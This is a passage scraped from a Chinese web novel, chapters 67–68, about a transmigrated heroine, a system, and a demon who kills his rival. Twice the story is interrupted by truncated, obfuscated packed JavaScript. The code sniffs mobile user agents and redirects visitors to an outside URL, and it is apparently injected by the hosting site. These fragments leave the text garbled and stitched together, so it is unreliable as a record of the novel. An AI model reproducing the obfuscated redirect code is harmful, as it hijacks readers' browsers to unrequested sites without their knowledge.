“这些事情和止些没有任何关系,你为什么一定要把他牵扯进来?”李桑字已经泪流满面,颤抖着身体质问着。 叶子桐轻笑一声,声音里掺着冷漠:“我警告过他,让他不要试图接近你,可是呢?” “他没有乖乖听话,所以我不会放过他。” 许是已经想到门后的人听到自己这番话露出的恐惧神情,叶子桐笑得更开怀,隐隐有点疯掉的趋势。 “这一切都是你自找的啊,你自找的!李桑字,我给过你机会的,是你自己非要接近我,这一切都是你咎由自取!” 67. 你才不能忘记我(7) 李桑字捂着胸口,哭的上气不接下气。她恨自己没有能力保护自己,还把一个爱她的无辜的人拖下了水。 就在这时,一直躺在床上半昏过去的孟止些挣扎着爬起来,一瘸一拐地朝着门边走来。他的动作十分吃力,但还是坚持着往李桑字身边走。 一缕熟悉的白雾趁机飘到了柳沅头顶,正想故技重施附身她时,一直躺在地上的桃木枝突然闪过,把那团偷袭的雾气打散了。 月乌哎哟一声,委屈地落到了地上。 柳沅这才发现自己差点被附身,连忙拽走桃木枝,一脸警惕地盯着在地上滚来滚去的棉花团。 “我……我没有恶意,我只是想和你交朋友。”月乌的语气很委屈。 柳沅却不信,蹲下身体,用桃木枝把它翻个好几面,确认它对自己完全没有威胁后,这才出声问道:“我记得你是不会附身的吧?是不是有什么人指使你这样做的?” “什么叫指使?”月乌很困惑。在它简单的脑子里,所有人都是好人,只要愿意和它交朋友,它就愿意做任何事。 柳沅换了个说法,问它是谁让它来这里的,目的是什么。 这个话题让月乌很开心,连带着说话的语气也变得异常轻快:“是一个长得很漂亮的仙人,他头上有个很好看的亮晶晶的画。” 月乌的智商和三岁小孩差不多,说话颠三倒四的,还总冒出一些奇妙的比喻,有种柳沅在和自家小侄子说话的错觉。 “他让我在这里一直等,等到一个人出现就可以了。” 说到这里,月乌突然停了下来,然后大喊一声:“对,就是你!那个漂亮的仙人就是让我等着你!我终于找到你了!” 与月乌的惊喜不同,柳沅的心重重地沉了下去。 月乌说的话和她刚才看到的那段记忆一模一样,更加印证了李怀朔的目的就是柳沅。 这个答案让她和系统都有些不安。 “一个角色,甚至是原著中没有的角色,怎么可能无缘无故地对宿主你感兴趣?”系统严肃道,“我记得之前和宿主您说过,书中有个角色出了问题,导致剧情线出了问题。当时主系统排查时是这么告诉我们的,现在看来,事情更加复杂了。” “那你现在要去找主系统汇报情况吗?”柳沅问道。 系统否认,接着道:“一旦有角色刻意与系统选定的宿主产生联系,就说明剧情的崩坏度已经超过了能够人工干涉的范围,唯一的办法是找到这一切的真相。” 紧接着,柳沅感觉脑海里闪过一阵模糊的电流声,随后是熟悉的系统任务提示音。 【警告,您将关闭任务功能,一旦关闭将不能重启,请您再度确认是否关闭。】 “系统,”柳沅忍不住喊道,“你在做什么?” 【警告,一旦关闭与主系统的连接功能,您将暂时失去对剧情和人物心理状态的感知能力,确认关闭吗?】 脑子里的电流声越来越大,越来越刺耳,柳沅不堪忍受,就算捂住耳朵也无济于事。 很快,这段噪音消失了,取而代之的是系统平缓的声音:“我已经关闭了任何能让失控角色察觉到我们行踪和状态的功能,目前我们暂时安全了。” 闻言,柳沅内心的不安依旧没能完全消失。综合这几个月来的遭遇,让她越来越确信,在看似平静的剧情背后,有另一双大手正推着她向既定的方向而去。 而这幕后之人更不屑于隐藏自己,早就故意露出了破绽。 柳沅想找到真相,目前只能暂时跟着他故意露出来的线索,一步一步朝着他安排好的步骤往下走。 这种被人操纵的感觉很令她不爽。 柳沅磨了磨牙,很快冷静下来,对月乌道:“他一定有让你带什么话吧?” 月乌听见她的话,惊喜道:“你怎么知道?仙人们都这么聪明的吗?” “说吧,他要你对我说什么?” 月乌努力回忆着那道白色身影曾对它说的话,想了很久,说道:“他好像……他好像说了这样一句话。” “好像是……”它有点结巴。 柳沅却显得很冷静,追问道:“是什么?” “欢迎来到这个世界。“ 月乌的声音落下的一瞬间,柳沅先是短暂地愣了愣,随后长舒一口气,有种意料之中的释然。 竟然是一句挑衅吗?她意外地挑眉。 但系统就没那么冷静了。 嘈杂的机械音一下在耳边炸开,柳沅难受地捂住了耳朵。 系统大骂道:“原来藏在这里,说这样的话不就是公然挑衅吗?他以为自己是谁?不过是小说世界里一个意外出现的人物而已,竟然真的敢向我宣战?” 这边系统喋喋不休地骂着,那边孟止些已经走到了李桑字身边,把她护在了怀中。 “你是谁?为什么要逼小桑出去?”他这样无知的问话在这样的场景下显得十分可笑,但就是这么小声的一句质问,一下就让正在争执的李桑字和叶子桐沉默了。 “你竟然还没死?”叶子桐倒是意外。他不是让贺老爷给孟止些暗中下了诅咒吗?他怎么还能好端端地站在这里? 柳沅又往远处挪了挪,对系统道:“叶子桐肯定对孟止些做了些什么,刚才我吸收月乌能量的时候,从孟止些的身上感知到了他的灵力。” 系统刚从气劲中缓过神来,闻言道:“他不是做了点什么,他是直接让别人在孟止些身上下了最恶毒的诅咒。” 柳沅暗暗说了句狠,继续观看着三人的对峙。 “你一定对他做了什么?一定对他做了什么?!是不是!”李桑字挣开孟止些的怀抱,双眼发红,狠狠扒着门框,质问道。 “你想听到什么答案?”叶子桐的语气突然平缓下来,甚至带上了悠闲的笑意,“你是想知道他会立马死掉,还是过几天,过几十天死掉?” 恶毒残忍的话一句接着一句从房间外传进来,别说李桑字受不了,置身事外的柳沅也有些听不下去。 “还有多久结束?”她闭上眼睛,恨不得把自己耳朵也塞上,问系统道。 “快了,马上了。”系统也有点心不在焉。 也不知道为什么,柳沅总觉得有种莫名的不安,不知道是因为李怀朔,还是因为…… 她捏了捏手,感受着桃木枝在手心的硬度,心不在焉地抿了抿唇。 突然,房间外传来凌乱的脚步声,随后是熟悉的打斗声,柳沅凑到窗户边,悄悄往外望去。 一道熟悉的蓝色身影迅速闪过,在一瞬间将叶子桐率领的傀儡全部打倒在地。 几乎是一瞬间,她迅速收回了视线,还把窗户紧紧关住了。 手心的桃木枝感应到了主人的气息,开始不安地躁动起来,柳沅死死捏着它,不让它飞出去。 搞笑,先不说这东西是不是应无霁故意放到她袖子里的,要是桃木枝就这样飞出去暴露了她的行踪,她前面做的那些努力全白费了。 柳沅把自己紧紧缩成一团,在心里祈祷着应无霁不要发现自己。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312257|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “前辈也想来插手我的私事吗?”是叶子桐故作尊敬,阴阳怪气的语气。 她暗自翻了个白眼,腹诽叶子桐这个手下败将,人间败类,连说话都不会好好说。 应无霁的回答依旧简短:“我来找人。” 这句话让柳沅的心猛地一颤。 “我来的时候没看见她,你去别处找吧。”叶子桐不耐烦道。 这回真是装都不装了,连前辈这种客套话都不喊了。柳沅心道。 应无霁没有相信他的话,环顾了四周几下,嘴唇蠕动着,最后轻轻喊了一声:“柳沅。” “柳沅,你在这里吗?” 这声呼唤很轻很轻,说话的人似乎没有期望会得到回应。 柳沅的心因为这声呼唤狠狠跳了跳,条件发射就要答应,最终还是在声音要出口的时候刹住了。 一种夹杂着失望和期待的情绪裹挟着她的大脑。 心好酸,酸的想要流泪。 她使劲掐着自己的手背,咬唇克制着内心莫名冒出来的冲动。 外面没有再传来应无霁的声音,只剩下傀儡混乱的低吼声,和不远处传来的,李桑字的呜咽。 “前辈与其在这里做无用功,不如去别处找找,您要找的人指不定被什么别的人抓住了。”叶子桐冷冷道。 应无霁抿了抿唇,摊开手掌感应了一下柳沅的气息,没有接受到任何讯息。 他有些失落地低下头。 蓝色的道袍上溅满了血迹,让他看上去活像一个刚从尸山血海中爬出来的恶鬼,和站在傀儡中央穿戴整齐的叶子桐一对比,倒更像促成这一切的罪魁祸首。 吱呀—— 院子外传来树叶的断裂声,伴随着一丝血腥味,应无霁立即认出那是柳沅的气息,忙转身,咻的一下就追了出去。 那股属于应无霁的灵力总算消失了,松了一口气的同时,柳沅捂着自己空落落的心口,有点怅然若失。 系统的声音在此时响起:“我突然发现一件不算很好的事情。” 柳沅有点心不在焉地问道:“什么?” “我刚才关闭了部分任务权限,那其实意味着,我无法强行消除应无霁的记忆,他会一直记得你。” 伴随着系统话音落下的,还有一声震耳欲聋的爆炸声。柳沅来不及消化无法消除应无霁记忆的事实,就被这股力量炸上了天。 手心的桃木枝立即转动,释放出强大的能量,在她快与大地亲吻时,及时铺开能量罩,接住了她。 漫天尘土中,叶子桐强行轰开了贴满符咒的房门,强行把李桑字从孟止些怀中抢了过来。而孟止些不仅没有放手,还不顾被灵力划为灰烬的风险,毫不犹豫地挡在了李桑字面前。 叶子桐本来就耐心耗尽,这下更是气恼,直接用手穿透了眼前这个弱小人类的心脏。 “不要!” 随着李桑字的尖叫响起的,还有房屋倒塌的声音。 柳沅正好位于中心地带,也幸好她闪得快,要不然就要被活生生埋在地下了。 孟止些猛地吐出一口血,软绵绵地倒了下去。 叶子桐收回沾血的手,厌恶地甩了甩,居高临下地望着悲痛欲绝的李桑字,皱了皱眉头。 “没必要为一个孱弱的凡人哭泣。” 话音刚落,李桑字猛地把地上的孟止些揽入怀中,眼泪像断了线的珠子,哗啦啦地直往下流。 “止些,止些,都是我害了你,如果不是我……如果不是因为我……” 68. 你才不能忘记我(8) “李桑字,我在和你说话呢,你看着我!”叶子桐猛地把她从地上拉起来,掐住她抓住孟止些不放的手,逼迫她看着自己。 李桑字拼尽全力甩开他的手,扑通一下摔到了孟止些身上,痛哭起来。 “你醒醒啊,醒醒啊,我……都怪我,都是因为我。” 孟止些已经彻底失去了气息,身体慢慢变得冰冷,李桑字无视他青白的脸,精神恍惚地呼喊着他的名字。 这副样子落在叶子桐眼里,则是赤裸裸的挑衅。特别是她流泪的眼睛,悲痛的表情。 记忆中,李桑字从来没对自己露出过这样的表情。 她好像,一直都是笑着的。 叶子桐生来就是妖,无父无母的妖,一个人在危险的夜晚躲躲藏藏,不仅要防备着其他实力超群的妖鬼吃掉自己,还要防备着落入人族的陷阱。 那是他来到人间的第八年,刚从道士手下死里逃生的他实在支撑不住,晕倒在了一户人家门前。 再醒来时,身下不是冰冷的雪地,而是暖洋洋的被窝。 叶子桐睁开眼,发现自己正躺在温暖干净的床铺上,身旁还守着一个眼睛大大的可爱女孩。 女孩见他醒了,兴奋地凑近他,笑着问道:“你没事吧?大雪天里这么冷,你怎么睡在外面呀?我看你冻坏了,就把你搬进来了,你叫什么名字呀?家住在哪里?等会我送你回去吧。” 女孩很是聒噪,问题一个接着一个。叶子桐的身体还很虚弱,没有那么多精力回答她的问题,别过头去不想说话。 他抗拒的态度太明显,女孩虽然迟钝,但还是察觉到了,悻悻地闭上了嘴。 以往这种被别人捡到家里的戏码发生过许多回。那些人看中了他的妖怪身份,装作一副善良的样子,悉心照料他,用心呵护他,借此来博取他的感激,目的不过是从他身上榨取灵力。 那些人本就是肉体凡胎,偏偏坚信自己能通过这种手段踏入仙途,简直是不自量力。 他有利用价值时,他们笑脸相迎,他的灵力枯竭时,那副披上去的人皮就摇摇欲坠,露出藏在里面的污垢,恶心的要命。 上上次是老人,上次是少女,这次……竟然是个小孩。 叶子桐对这样的把戏已经厌恶,寻思着什么时候动手。 这时,房门被轻轻打开了。 一个衣着华贵,长相秀气的小男孩探出头来,冲着小女孩喊了一声。 “小桑,这是谁呀?” 李桑字看见小男孩,眼睛一下就亮了,急急忙忙跑到他身边,小声地讲述了她捡到叶子桐的经过。 “可是,老师说过,外面最近妖患很多,不让你随便往家里带人的。”小男孩担心地打量了叶子桐好几眼,说道。 李桑字摇摇头,为难道:“可他看起来不像是坏人,如果就留他在外面,他会被冻死的。” 两个小孩凑在一起耳语了半天,还以为叶子桐听不见,争论着他最后的归宿,最后还是李桑字占了上风,成功说服孟止些,和她一起把叶子桐留下。 孟止些是镇上书香世家孟家的独苗苗,从小体弱多病,孟家人请的道士算到孟止些命中有一劫,必须暂时离家三年才能化解,而李桑字的父亲李云字是还算有名的修士,而且八字正好和孟止些相合。孟府便找上门来,恳求他帮孟止些化解此局。 孟府给的酬金很多,彼时李云字刚和李桑字的娘亲张桑榆成婚,正好需要一大笔钱,于是就应下了这个差事。 “不过小桑你不用担心,如果这件事被发现了,我就同师父说是我要留下他的,和你没关系,这样你就不用受罚了。”孟止些拉住她的手,暖了暖,笑道。 孟止些总是这样,什么都想着她,什么都愿意为她做。明明,明明自己才是年纪更大的那个,却总是被当作妹妹来照顾。 李桑字吸吸鼻子,故作发怒地瞪了他一眼,大声道:“这可不行,你把我当成什么了,爹向来疼我,不会对我怎么样的,倒是你,每次都为我背锅,每次都受罚。” 说罢,她把孟止些的两只手紧紧握住,坚定道:“咱们有福同享,有难同当!” 一旁躺在床上的叶子桐怔怔地望着这两人,第一次怀疑自己的判断。 好像,他们和之前救下自己的人不一样? 后面的日子都是在无聊的养伤中度过。李桑字和孟止些很有默契,总能避开家里两个大人的视线,给叶子桐偷偷带些东西。除了惯常的一日三餐,还有很多新奇的玩具,甚至还有书。 那日,李桑字偷偷从学堂跑回家,看见躺在床榻上发呆的叶子桐,忍不住笑了。 彼时叶子桐已经彻底放下了戒心,和他们的关系也缓和了不少,有时候甚至会主动说说话。 他听见了李桑字的笑,疑惑问道:“怎么了?” 李桑字连忙住嘴,摇摇头说没什么。 叶子桐又看见她怀里抱了些东西,问她那是什么。李桑字的脸却突然红了,支支吾吾地不肯回答。 一个不可思议的猜测在一瞬间划过叶子桐的脑海。他回忆着这段日子李桑字和孟止些的相处日常,混沌的脑子里突然出现了爱慕这个词语。 从前在人间四处躲藏的时候,他在很多人口中听到过这个词语。 不过人类的爱,都是不长久的吧,夹杂着各种算计和利用,是最最不能相信的感情。 “你喜欢他?”他的语气很平静,似乎只是在问一件再平常不过的事情。 李桑字却活像被踩了尾巴的猫,充满敌意地望了他一眼,大喊一声:“没有!” “不愿意承认吗?”他喃喃道,带着嘲讽的意味看了她一眼,“果然还是小孩,分不清自己的感情。” 这倒是李桑字第一次听见叶子桐说这么多话,虽然听起来很刺耳,但是…… 她把手上的书本放在桌上,走到床边坐下,困惑地看了他一眼,问:“你不也是小孩吗?怎么总是用大人的口吻教训我们呢?” 李桑字的这个问题差点让他以为自己的身份被看穿了。慌张了一瞬,叶子桐很快冷静下来,去观察李桑字的眼神。 只是单纯的疑惑,并没有试探。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322662|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶子桐缓缓呼出一口气,声音很低沉:“没有,我乱说的。” 这句话实在不能让人信服,可李桑字毕竟只是个八九岁的孩子,没想那么多,只当是他真的乱说了。 “不过,”她有点羞怯地笑起来,那双大大的仿佛葡萄的眼睛弯弯的,好看极了,“你可得帮我保守秘密。” 叶子桐被那双纯净的眼眸注视着,仿佛登时坠入了一片深不见底的海。海水是被太阳晒透了的,滚烫的难以忍受,那股炽热的光好像真的被他从她眼中带了出来,在他眼前形成了一个挥之不去的光圈。 他想,在黑暗里久了,真的会被光灼伤。 原本打算养好伤就走的,可能是在这里呆习惯了,叶子桐竟然生出了一股眷恋,特别是在面对李桑字的时候。 于是他劝自己再晚些,再晚一点。 后来他确实也被李云字和张桑榆发现了,没有想象中的爆发剧烈的争吵,他们平静地接受了他的存在,把他当作家人对待。 那段日子是他生命中最温馨的时刻。 没有追杀,没有勾心斗角,不用担心第二天醒来会陷入危险,一切都是那么美好。 如果没有那天的落水,如果没有,也许这一切就能一直继续下去。 叶子桐曾无数次想过,如果那天他没有救下孟止些,取代他成为李桑字身边的那个人,一切会不会不一样。 可是时间不能倒流,做出的选择也无法更改,他注定只能将李桑字越推越远。 霞村的春天到来的毫无征兆,当雪化成水,在屋顶上下了一场淅淅沥沥的雨时,叶子桐的伤终于好了,能够自如地下地行走了,激动的李桑字拉着张大娘,说要到镇上买些好菜,庆祝一下。 可张大娘最近身体不适,初春的天气又没那么暖和,出去吹风又受凉了可不好。正巧今日正好是孟止些回家探望的日子,李云字便带了孟止些和叶子桐一起去了镇上,买些好些东西。 当三人提着大包小包走到城门外停放着的牛车旁时,牛车只剩下一点点的空间,最后只够塞下两个小孩。 李云字犹豫地望着两个孩子,狠心从车上跳了下来。 “晚上天气凉,小桐也是病刚好,止些的身体也不好,让他们先回去。”他柔声对车夫道。拉车的车夫和李云字关系很好,还塞了些钱让他在镇上找个好客栈休息,别急着回去,天黑路滑的,险些出了意外。 李云字笑着答应,把钱塞了回去。 “你们不用担心我,正好我还在镇上有点事,明日再回去。”李云字道,“我买了好些糖,你们回去了千万别吃多了,对牙齿不好。” 又叮嘱了些琐碎的小事,他挥挥手,转身往城里走去。 孟止些小心翼翼地往旁边挪了挪,给叶子桐让出更宽敞的位置。 “你不用这样,我的身体已经好了。”叶子桐皱着眉,轻声道。 闻言,孟止些弯了弯眼睛,露出和李桑字很像的笑,小声道:“你没坐过这种很挤的牛车,回去的路上颠簸,如果一开始就紧紧贴着别人,会很难受的。”